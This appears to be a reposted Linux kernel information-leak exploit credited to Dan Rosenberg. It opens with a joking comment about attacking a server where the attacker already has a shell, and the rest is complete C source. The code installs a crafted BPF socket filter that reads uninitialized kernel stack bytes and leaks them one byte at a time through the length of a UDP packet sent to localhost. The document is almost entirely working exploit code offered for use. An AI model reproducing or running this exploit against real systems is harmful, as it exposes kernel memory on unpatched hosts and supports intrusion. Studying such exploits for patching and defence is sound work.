Kernel 0-day

Enjoy…

-Dan

/*

• You've done it. After hours of gdb and caffeine, you've finally got a shell
• on your target's server. Maybe next time they will think twice about
• running MyFirstCompSciProjectFTPD on a production machine. As you take
• another sip of Mountain Dew and pick some of the cheetos out of your beard,
• you begin to plan your next move - it's time to tackle the kernel.
• What should be your goal? Privilege escalation? That's impossible, there's
• no such thing as a privilege escalation vulnerability on Linux. Denial of
• service? What are you, some kind of script kiddie? No, the answer is
• obvious. You must read the uninitialized bytes of the kernel stack, since
• these bytes contain all the secrets of the universe and the meaning of life.
• How can you accomplish this insidious feat? You immediately discard the
• notion of looking for uninitialized struct members that are copied back to
• userspace, since you clearly need something far more elite. In order to
• prove your superiority, your exploit must be as sophisticated as your taste
• in obscure electronic music. After scanning the kernel source for good
• candidates, you find your target and begin to code…
• by Dan Rosenberg
• Greets to kees, taviso, jono, spender, hawkes, and bla

*/

#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <linux/filter.h>

#define PORT 37337

int transfer(int sendsock, int recvsock)
{

    struct sockaddr_in addr;
    char buf[512];
    int len = sizeof(addr);

    memset(buf, 0, sizeof(buf));
    
    if (fork())
            return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr, &len);

    sleep(1);

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    
    sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len);

    exit(0);

}

int main(int argc, char * argv[])
{

    int sendsock, recvsock, ret;
    unsigned int val;       
    struct sockaddr_in addr;
    struct sock_fprog fprog;
    struct sock_filter filters[5];

    if (argc != 2) {
            printf("[*] Usage: %s offset (0-63)\n", argv[0]);
            return -1;
    }

    val = atoi(argv[1]);

    if (val > 63) {
            printf("[*] Invalid byte offset (must be 0-63)\n");
            return -1;
    }

    recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

    if (recvsock < 0 || sendsock < 0) {
            printf("[*] Could not create sockets.\n");
            return -1;
    }

    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    addr.sin_addr.s_addr = htonl(INADDR_ANY);

    if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
            printf("[*] Could not bind socket.\n");
            return -1;
    }

    memset(&fprog, 0, sizeof(fprog));
    memset(filters, 0, sizeof(filters));

    filters[0].code = BPF_LD|BPF_MEM;
    filters[0].k = (val & ~0x3) / 4;

    filters[1].code = BPF_ALU|BPF_AND|BPF_K;
    filters[1].k = 0xff << ((val % 4) * 8);

    filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
    filters[2].k = (val % 4) * 8;

    filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
    filters[3].k = 256;

    filters[4].code = BPF_RET|BPF_A;

    fprog.len = 5;
    fprog.filter = filters;

    if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof(fprog)) < 0) {
            printf("[*] Failed to install filter.\n");
            return -1;
    }

    ret = transfer(sendsock, recvsock);

    printf("[*] Your byte: 0x%.02x\n", ret - 248);

}